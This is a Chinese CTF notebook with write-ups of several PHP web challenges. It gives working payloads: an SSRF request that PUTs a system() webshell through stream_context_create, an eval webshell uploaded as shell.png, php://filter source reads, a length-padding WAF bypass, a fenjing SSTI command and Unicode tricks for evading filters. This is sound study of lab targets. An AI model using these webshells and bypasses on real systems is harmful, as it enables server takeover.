note-37

Mini L-CTF miniup

在查看图片处直接查看index.php能得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
<?php
$dufs_host = '127.0.0.1';
$dufs_port = '5000';

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'upload') {
if (isset($_FILES['file'])) {
$file = $_FILES['file'];

$filename = $file['name'];

$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp'];

$file_extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));

if (!in_array($file_extension, $allowed_extensions)) {
echo json_encode(['success' => false, 'message' => '只允许上传图片文件']);
exit;
}

$target_url = 'http://' . $dufs_host . ':' . $dufs_port . '/' . rawurlencode($filename);

$file_content = file_get_contents($file['tmp_name']);

$ch = curl_init($target_url);

curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT');
curl_setopt($ch, CURLOPT_POSTFIELDS, $file_content);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Host: ' . $dufs_host . ':' . $dufs_port,
'Origin: http://' . $dufs_host . ':' . $dufs_port,
'Referer: http://' . $dufs_host . ':' . $dufs_port . '/',
'Accept-Encoding: gzip, deflate',
'Accept: */*',
'Accept-Language: en,zh-CN;q=0.9,zh;q=0.8',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36',
'Content-Length: ' . strlen($file_content)
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

curl_close($ch);

if ($http_code >= 200 && $http_code < 300) {
echo json_encode(['success' => true, 'message' => '图片上传成功']);
} else {
echo json_encode(['success' => false, 'message' => '图片上传失败,请稍后再试']);
}

exit;
} else {
echo json_encode(['success' => false, 'message' => '未选择图片']);
exit;
}
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'search') {
if (isset($_POST['query']) && !empty($_POST['query'])) {
$search_query = $_POST['query'];

if (!ctype_alnum($search_query)) {
echo json_encode(['success' => false, 'message' => '只允许输入数字和字母']);
exit;
}

$search_url = 'http://' . $dufs_host . ':' . $dufs_port . '/?q=' . urlencode($search_query) . '&json';

$ch = curl_init($search_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Host: ' . $dufs_host . ':' . $dufs_port,
'Accept: */*',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36'
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code >= 200 && $http_code < 300) {
$response_data = json_decode($response, true);
if (isset($response_data['paths']) && is_array($response_data['paths'])) {
$image_extensions = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp'];

$filtered_paths = [];
foreach ($response_data['paths'] as $item) {
$file_name = $item['name'];
$extension = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));

if (in_array($extension, $image_extensions) || ($item['path_type'] === 'Directory')) {
$filtered_paths[] = $item;
}
}

$response_data['paths'] = $filtered_paths;

echo json_encode(['success' => true, 'result' => json_encode($response_data)]);
} else {
echo json_encode(['success' => true, 'result' => $response]);
}
} else {
echo json_encode(['success' => false, 'message' => '搜索失败,请稍后再试']);
}

exit;
} else {
echo json_encode(['success' => false, 'message' => '请输入搜索关键词']);
exit;
}
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'view') {
if (isset($_POST['filename']) && !empty($_POST['filename'])) {
$filename = $_POST['filename'];

$file_content = @file_get_contents($filename, false, @stream_context_create($_POST['options']));

if ($file_content !== false) {
$base64_image = base64_encode($file_content);
$mime_type = 'image/jpeg';

echo json_encode([
'success' => true,
'is_image' => true,
'base64_data' => 'data:' . $mime_type . ';base64,' . $base64_image
]);
} else {
echo json_encode(['success' => false, 'message' => '无法获取图片']);
}

exit;
} else {
echo json_encode(['success' => false, 'message' => '请输入图片路径']);
exit;
}
}
?>

<!DOCTYPE html>
<html>
<head>
<title>迷你图片空间</title>
<meta charset="UTF-8">
<style>
body {
font-family: Arial, sans-serif;
max-width: 800px;
margin: 0 auto;
padding: 20px;
background-color: #f0f8ff;
}
.section {
margin-bottom: 30px;
padding: 15px;
border: 1px solid #add8e6;
border-radius: 5px;
background-color: white;
box-shadow: 0 2px 5px rgba(0,0,0,0.1);
}
h2 {
margin-top: 0;
color: #4682b4;
}
.form-group {
margin-bottom: 15px;
}
label {
display: block;
margin-bottom: 5px;
font-weight: bold;
color: #4682b4;
}
input[type="text"], input[type="file"] {
width: 100%;
padding: 8px;
box-sizing: border-box;
border: 1px solid #add8e6;
border-radius: 4px;
}
button {
padding: 10px 15px;
background-color: #4682b4;
color: white;
border: none;
border-radius: 4px;
cursor: pointer;
}
button:hover {
background-color: #5f9ea0;
}
.result {
margin-top: 15px;
padding: 10px;
border: 1px solid #add8e6;
border-radius: 4px;
background-color: #f0f8ff;
display: none;
}
pre {
white-space: pre-wrap;
word-wrap: break-word;
background-color: #f5f5f5;
padding: 10px;
border-radius: 4px;
max-height: 300px;
overflow-y: auto;
}
</style>
</head>
<body>
<h1>迷你图片空间</h1>

<div class="section">
<h2>上传图片</h2>
<form id="uploadForm" enctype="multipart/form-data">
<input type="hidden" name="action" value="upload">
<div class="form-group">
<label for="file">选择图片:</label>
<input type="file" id="file" name="file" required>
<small>支持所有类型的图片</small>
</div>
<button type="submit">上传图片</button>
</form>
<div id="uploadResult" class="result"></div>
</div>

<div class="section">
<h2>搜索图片</h2>
<form id="searchForm">
<input type="hidden" name="action" value="search">
<div class="form-group">
<label for="query">搜索关键词:</label>
<input type="text" id="query" name="query" required
pattern="[a-zA-Z0-9]+"
title="只允许输入数字和字母"
placeholder="输入图片关键词(仅限数字和字母)">
</div>
<button type="submit">搜索</button>
</form>
<div id="searchResult" class="result">
<h3>搜索结果:</h3>
<div id="searchResultContent"></div>
</div>
</div>

<div class="section">
<h2>查看图片</h2>
<form id="viewForm">
<input type="hidden" name="action" value="view">
<div class="form-group">
<label for="filename">图片路径:</label>
<input type="text" id="filename" name="filename" required placeholder="输入图片路径">
</div>
<button type="submit">查看图片</button>
</form>
<div id="viewResult" class="result">
<h3>图片预览:</h3>
<div id="fileContent"></div>
</div>
</div>

<script>
document.getElementById('uploadForm').addEventListener('submit', function(e) {
e.preventDefault();

var formData = new FormData(this);

fetch('index.php', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(data => {
var resultDiv = document.getElementById('uploadResult');
resultDiv.style.display = 'block';
resultDiv.innerHTML = data.message;
resultDiv.style.color = data.success ? 'green' : 'red';
})
.catch(error => {
var resultDiv = document.getElementById('uploadResult');
resultDiv.style.display = 'block';
resultDiv.innerHTML = '上传过程中发生错误';
resultDiv.style.color = 'red';
});
});

document.getElementById('searchForm').addEventListener('submit', function(e) {
e.preventDefault();

var searchQuery = document.getElementById('query').value;

var alphanumericRegex = /^[a-zA-Z0-9]+$/;
if (!alphanumericRegex.test(searchQuery)) {
var resultDiv = document.getElementById('searchResult');
resultDiv.style.display = 'block';
document.getElementById('searchResultContent').innerHTML = '<p style="color: red;">只允许输入数字和字母</p>';
return;
}

var formData = new FormData(this);

fetch('index.php', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(data => {
var resultDiv = document.getElementById('searchResult');
resultDiv.style.display = 'block';

if (data.success) {
try {
var jsonData = JSON.parse(data.result);

if (jsonData.paths && jsonData.paths.length > 0) {
var resultHtml = '<table style="width:100%; border-collapse: collapse;">';
resultHtml += '<thead><tr style="background-color: #f2f2f2;">';
resultHtml += '<th style="text-align: left; padding: 8px; border: 1px solid #ddd;">名称</th>';
resultHtml += '<th style="text-align: left; padding: 8px; border: 1px solid #ddd;">修改时间</th>';
resultHtml += '<th style="text-align: left; padding: 8px; border: 1px solid #ddd;">大小</th>';
resultHtml += '<th style="text-align: left; padding: 8px; border: 1px solid #ddd;">操作</th>';
resultHtml += '</tr></thead><tbody>';

jsonData.paths.forEach(function(item) {
var date = new Date(item.mtime);
var formattedDate = date.toLocaleString();
var fileSize = formatFileSize(item.size);

resultHtml += '<tr style="border: 1px solid #ddd;">';
resultHtml += '<td style="padding: 8px; border: 1px solid #ddd;">' + item.name + '</td>';
resultHtml += '<td style="padding: 8px; border: 1px solid #ddd;">' + formattedDate + '</td>';
resultHtml += '<td style="padding: 8px; border: 1px solid #ddd;">' + fileSize + '</td>';
resultHtml += '<td style="padding: 8px; border: 1px solid #ddd;">';
resultHtml += '<button onclick="viewFile(\'' + item.name + '\')" style="margin-right: 5px;">查看</button>';
resultHtml += '</td></tr>';
});

resultHtml += '</tbody></table>';
document.getElementById('searchResultContent').innerHTML = resultHtml;
} else {
document.getElementById('searchResultContent').innerHTML = '<p>没有找到匹配的图片</p>';
}
} catch (e) {
document.getElementById('searchResultContent').innerHTML = '<p>解析结果时出错</p>';
}
} else {
document.getElementById('searchResultContent').innerHTML = '<p>错误: ' + data.message + '</p>';
}
})
.catch(error => {
var resultDiv = document.getElementById('searchResult');
resultDiv.style.display = 'block';
document.getElementById('searchResultContent').innerHTML = '<p>搜索过程中发生错误</p>';
});
});

document.getElementById('viewForm').addEventListener('submit', function(e) {
e.preventDefault();

var formData = new FormData(this);

fetch('index.php', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(data => {
var resultDiv = document.getElementById('viewResult');
resultDiv.style.display = 'block';

if (data.success) {
var fileContentDiv = document.getElementById('fileContent');
fileContentDiv.textContent = '';

var img = document.createElement('img');
img.src = data.base64_data;
img.style.maxWidth = '100%';
img.style.display = 'block';
img.style.margin = '0 auto';
fileContentDiv.appendChild(img);
} else {
document.getElementById('fileContent').textContent = '错误: ' + data.message;
}
})
.catch(error => {
console.error('错误:', error);
var resultDiv = document.getElementById('viewResult');
resultDiv.style.display = 'block';
document.getElementById('fileContent').textContent = '获取图片时发生错误';
});
});

function formatFileSize(bytes) {
if (bytes === 0) return '0 B';

const k = 1024;
const sizes = ['B', 'KB', 'MB', 'GB', 'TB'];
const i = Math.floor(Math.log(bytes) / Math.log(k));

return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i];
}

function viewFile(filename) {
document.getElementById('filename').value = filename;
document.getElementById('viewForm').dispatchEvent(new Event('submit'));
}
</script>
</body>
</html>

当时得到源码后不会做了

赛后看官方解法:

ssrf

index.php在查看图片时使用file_get_contents获取任意文件并且以data:image/jpeg;base64的形式返回,通过这种方式可以尝试读源码 源码中预留了带有dufs的变量名以及上传和搜索的流量特征都可以给选手推测的机会,选手如果运气好遍历到文件甚至可以直接下载到dufs的Linux二进制文件自行进行测试 同时,源码的file_get_contents还预留了options变量,这意味着可以通过此函数进行PUT请求上传任意文件,从而绕过php脚本的限制上传php木马getshell,之后从环境变量获取flag即可

1
$file_content = @file_get_contents($filename, false, @stream_context_create($_POST['options']));

攻击payload

1
2
3
4
5
6
7
POST /index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 9

action=view&filename=http://127.0.0.1:5000/i.php&options[http][method]=PUT&options[http][content]=%3C%3Fphp+echo+getenv%28%27FLAG%27%29%3B%3F%3E

传入部分url解码内容:

原 http 请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
POST /index.php HTTP/1.1
Host: 127.0.0.1:50688
Content-Length: 245
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Chromium";v="129", "Not=A?Brand";v="8"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEFvaPBTZNbCkhtbn
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: */*
Origin: http://127.0.0.1:50688
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:50688/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundaryEFvaPBTZNbCkhtbn
Content-Disposition: form-data; name="action"

view
------WebKitFormBoundaryEFvaPBTZNbCkhtbn
Content-Disposition: form-data; name="filename"

index.php
------WebKitFormBoundaryEFvaPBTZNbCkhtbn--

关键利用代码:

1
$file_content = @file_get_contents($filename, false, @stream_context_create($_POST['options']));

这段代码会让stream_context_create函数接收post上来的option参数

关键来理解一下这份payload:

1
action=view&filename=http://127.0.0.1:5000/shell.php&options[http][method]=PUT&options[http][content]=<?php system($_GET['a']);?>

利用view操作来绕过upload操作的waf
源码的查看图片利用的是 file_get_contents() 支持http协议,用它来触发ssrf来向dufs(文件服务器来上传文件,而通过index.php的源码可以知道dufs文件服务运行在本地5000端口上)目录直接上传文件

options[http][method]=PUT

用途:通过 PHP 的 stream_context_create 函数自定义 HTTP 请求的上下文(Context)。

攻击逻辑:

[method]=PUT:将 HTTP 请求方法从默认的 GET 改为 PUT。

PUT 方法的作用:向服务器上传文件(需目标服务支持,如 dufs 允许 PUT 上传文件)。

为什么重要:通过此参数绕过常规文件上传限制,直接写入文件。
通过 PHP 的 stream_context_create 函数自定义 HTTP 请求的上下文(Context)将原来请求的GET改为PUT以向dufs服务上传木马

options[http][content]=< ?php system($_GET[‘a’]);? >

用途:设置 HTTP 请求的 Body 内容(即上传的文件内容)。

攻击逻辑:

:一个简短的 PHP Webshell。

system():执行系统命令。

$_GET[‘a’]:从 URL 参数 a 中接收用户输入的命令。

例如:访问 http://127.0.0.1:5000/shell.php?a=ls 会执行 ls 命令。

关键作用:将恶意代码写入服务器的 shell.php 文件,为后续攻击做准备。

完整攻击流程

1.触发 SSRF

服务器执行 file_get_contents 时,尝试读取 http://127.0.0.1:5000/shell.php
但实际发起的是一个 PUT 请求。

2.上传 Webshell

请求内容为:
此时用stream_context_create构建的http请求应该就是如下了:

1
2
3
4
5
PUT /shell.php HTTP/1.1
Host: 127.0.0.1:5000
Content-Length: 27

<?php system($_GET['a']);?>

PUT请求将会将shell.php和其指定内容写入dufs

如果 dufs 允许 PUT 上传,shell.php 会被写入服务器。

所以第一个option用来定义put的http请求,第二个option用来定义http主体

接下来就是蚂蚁连马然后再环境变量里看到flag

stream_context_create

stream_context_create 是 PHP 中用于创建流上下文(stream context)的函数,它允许开发者在执行文件、网络或其他流操作时,自定义底层协议的行为(例如设置 HTTP 请求头、修改 FTP 传输模式等)。这个函数在实现复杂网络操作时非常有用,但如果使用不当,也可能引发安全漏洞(如 SSRF、文件上传绕过等)。

数的基本语法:

1
stream_context_create(array $options = ?, array $params = ?): resource

参数:

$options:一个多维数组,用于配置不同协议(如 http、ftp、ssl 等)的行为。

$params(可选):设置上下文参数(如超时时间)。

返回值:返回一个流上下文资源,可传递给其他流操作函数(如 file_get_contents、fopen)。

[SWPUCTF 2021 新生赛]easyupload3.0

传正常图片,得到路径
然后试试直接传码,不行
修改请求头:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /upload.php HTTP/1.1
Host: node4.anna.nssctf.cn:28055
Content-Length: 354
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://node4.anna.nssctf.cn:28055
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrWwjxZ6YBiFAz2Lm
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node4.anna.nssctf.cn:28055/
Accept-Encoding: gzip, deflate, br
Cookie: Hm_lvt_648a44a949074de73151ffaa0a832aec=1748528050; Hm_lpvt_648a44a949074de73151ffaa0a832aec=1748528050; HMACCOUNT=1B73E9281BD50EC7; PHPSESSID=fve350i8dhj45k2ls9htd4l6r5
Connection: keep-alive

------WebKitFormBoundaryrWwjxZ6YBiFAz2Lm
Content-Disposition: form-data; name="uploaded"; filename="shell.png"
Content-Type: image/png

<script language='php'>@eval($_POST[shell]);</script>
------WebKitFormBoundaryrWwjxZ6YBiFAz2Lm
Content-Disposition: form-data; name="submit"

这不传一个🐎?
------WebKitFormBoundaryrWwjxZ6YBiFAz2Lm--

然后传.htaccess

蚂蚁直接连
env查看环境的到flag

[鹏城杯 2022]简单包含

上来能看到给出的源码:

1
2
3
4
<?php 
highlight_file(__FILE__);
include($_POST["flag"]);
//flag in /var/www/html/flag.php;

直接传入flag=flag.php
提示有waf
使用php伪协议结果一样
尝试读取index.php完整源码
flag=php://filter/convert.base64-encode/resource=index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

$path = $_POST["flag"];

if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {
echo 'nssctf waf!';
} else {
@include($path);
}
?>

<code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php&nbsp;<br />highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br />include(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">"flag"</span><span style="color: #007700">]);<br /></span><span style="color: #FF8000">//flag&nbsp;in&nbsp;/var/www/html/flag.php;</span>
</span>
</code><br />

看deepseek解释

1
if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path))

其中有&&效果与and相同,若是两个条件达成就会执行if
其中第一条是请求体长度小于800,第二是传入中含有flag字符
只要让其中一条为假就能绕过waf
所以让post的请求体长度大于800即可
例如:

1
flag=php://filter/convert.base64-encode/resource=flag.php&a=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

[LitCTF 2025]easy_signin

开题先是无法访问,扫目录扫出这些:

1
2
3
4
5
[01:51:25] 301 -  169B  - /api  ->  http://node6.anna.nssctf.cn/api/
[01:51:26] 301 - 169B - /backup -> http://node6.anna.nssctf.cn/backup/
[01:51:29] 302 - 0B - /dashboard.php -> /login.html
[01:51:34] 200 - 6KB - /login.html
[01:51:34] 200 - 51B - /login.php

访问login.php
回显:

1
{"code":400,"msg":"\u53c2\u6570\u4e0d\u5b8c\u6574"}

访问html
到一个登录界面

抓包尝试了一下,发现username和password是md5加密过的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /login.php HTTP/1.1
Host: node6.anna.nssctf.cn:28934
Content-Length: 107
X-Sign: f6b57bb04015bf000f17e5d5dda37935
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://node6.anna.nssctf.cn:28934
Referer: http://node6.anna.nssctf.cn:28934/login.html
Accept-Encoding: gzip, deflate, br
Cookie: Hm_lvt_648a44a949074de73151ffaa0a832aec=1748528050
Connection: keep-alive

username=ee11cbb19052e40b07aac0ca060c23ee&password=202cb962ac59075b964b07152d234b70&timestamp=1748714891098

尝试对admin 密码爆破没结果
user 尝试一直提示账户错误没结果
去看wp
说是有api口能知道有地方能ssrf

浏览器中f12查看网络去向能看到一个api地址

1
2
3
http://node6.anna.nssctf.cn:28934/api.js
访问看到:
/api/sys/urlcode.php?url=

然后

1
2
3
http://node6.anna.nssctf.cn:28934/api/sys/urlcode.php?url=file:///var/www/html/login.php

看不见哦

http://node6.anna.nssctf.cn:28934/api/sys/urlcode.php?url=file:///var/www/html/api/sys/urlcode.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<!?php
error_reporting(0);

function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}

$url = $_REQUEST['url'];
if($url){

$forbidden_protocols = ['ftp://', 'php://', 'zlib://', 'data://', 'glob://', 'phar://', 'ssh2://', 'rar://', 'ogg://', 'expect://'];
$protocol_block = false;
foreach ($forbidden_protocols as $proto) {
if (strpos($url, $proto) === 0) {
$protocol_block = true;
break;
}
}
$log_block = strpos($url, '.log') !== false;

if ($protocol_block) {
echo "禁止访问:不允许使用 {$proto} 协议";
} elseif ($log_block) {
echo "禁止访问:URL 包含 .log";
} elseif (strpos($url, 'login.php') !== false || strpos($url, 'dashboard.php') !== false || strpos($url, '327a6c4304ad5938eaf0efb6cc3e53dc.php') !== false) {
echo "看不见哦";
} else {
echo "<b-->

然后看到里面有个327a6c4304ad5938eaf0efb6cc3e53dc.php
在主解析访问直接得到flag

看到有大佬写马的wp
https://www.cnblogs.com/TouHp/p/18895822
看不懂,先供着

[LitCTF 2025]星愿信箱

原来这题直接用fenjing就能梭出来的,这倒是发现了我环境的问题
以前是直接在powershell 跑fenjing web ui 版,
一直跑不出来
去式了别人wp的fenjing指令也不行,
给d导看了,原来是powershell的字符需要转译

1
2
3
4
5
6
7
原指令:  
fenjing crack-json --url 'http://node6.anna.nssctf.cn:28919/' --json-data '{"cmd": "a"}' --key cmd --replaced-keyword-strategy ignore
用不出来,一直提示报错

d导给的命令:
fenjing crack-json --url 'http://node6.anna.nssctf.cn:28919/' --json-data '{\"cmd\": \"a\"}' --key cmd --replaced-keyword-strategy ignore

要不说以后fenjing在linux里跑?
没用,在Linux下跑的fenjing webui 还是无法成功
看来只能用命令跑了

[鹤城杯 2021]EasyP

开题先见源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
include 'utils.php';

if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if ($guess === $secret) {
$message = 'Congratulations! The flag is: ' . $flag;
} else {
$message = 'Wrong. Try Again';
}
}

if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("hacker :)");
}

if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
exit("hacker :)");
}

if (isset($_GET['show_source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}else{
show_source(__FILE__);
}
?>

只看一眼,看上去像是猜谜游戏,过滤了:
‘/utils.php/*$/i’
‘/show_source/‘

但是又设置又’/show_source/‘成功传入后的结果,所以应该是能绕过正则过滤的
不管了,问ai

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
// 引入名为 utils.php 的文件,该文件可能包含一些辅助功能或变量定义。
include 'utils.php';

// 判断是否存在名为 'guess' 的 POST 请求参数。
if (isset($_POST['guess'])) {
// 将 POST 请求中的 'guess' 参数值强制转换为字符串类型,并赋值给变量 $guess。
$guess = (string) $_POST['guess'];
// 判断用户提交的猜测值 $guess 是否与变量 $secret 相等。
if ($guess === $secret) {
// 如果猜测正确,将提示信息和 $flag 变量的值拼接后赋值给 $message。
$message = 'Congratulations! The flag is: ' . $flag;
} else {
// 如果猜测错误,提示用户重新尝试。
$message = 'Wrong. Try Again';
}
}

// 检查当前脚本的路径是否以 "utils.php" 结尾(不区分大小写),如果是,则终止脚本运行,防止直接访问 utils.php 文件。
if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("hacker :)");
}

// 检查请求的 URI 是否包含 "show_source" 字符串,如果是,则终止脚本运行,防止显示源代码。
if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
exit("hacker :)");
}

// 判断是否存在名为 'show_source' 的 GET 请求参数。
if (isset($_GET['show_source'])) {
// 如果存在,则使用 highlight_file 函数高亮显示当前脚本文件的代码,并终止脚本运行。
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}else{
// 如果不存在 'show_source' GET 参数,则调用 show_source 函数(可能在 utils.php 中定义)显示当前脚本的源代码。
show_source(__FILE__);
}
?>

basename($_SERVER[‘PHP_SELF’]) 是什么意思
问了ai后
那我大概理解是返回当前客户请求的url的最后的文件名字,然后配合highlight_file显示源码

所以是
先绕过

1
2
3
4
// 检查当前脚本的路径是否以 "utils.php" 结尾(不区分大小写),如果是,则终止脚本运行,防止直接访问 utils.php 文件。
if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("hacker :)");
}

看网上wp的办法是在url的实际路径上添加不影响路径解析的字符

问ai找出能用的:

1
2
3
4
5
6
7
8
9
10
零宽度空格(Zero-Width Space)
编码:%E2%80%8B
描述:表示零宽度空格。
潜在影响:可能导致路径解析错误或绕过某些基于字符串匹配的安全检查。

其他 Unicode 空白字符
全角空格:%EF%BC%A0(全角空格)
半角空格:%20(普通空格)
中文标点符号:如 %E3%80%81(中文逗号)、%E3%80%82(中文句号)等
潜在影响:这些字符可能会被误认为普通空格或路径分隔符,从而绕过某些基于字符串匹配的安全检查。

然后是

1
2
3
4
// 检查请求的 URI 是否包含 "show_source" 字符串,如果是,则终止脚本运行,防止显示源代码。
if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
exit("hacker :)");
}

的绕过
我看有wp是直接用
show+source直接绕过
问dp说不应该,正常是url编码下滑线来匹配显示源码的条件

继续追问:
为什么这个转换会发生?
这是 PHP 的历史遗留行为(为了兼容 register_globals 时代),PHP 会自动转换参数名中的特定字符:

空格 → 下划线 _

点号 . → 下划线 _

其他特殊字符也会被转换

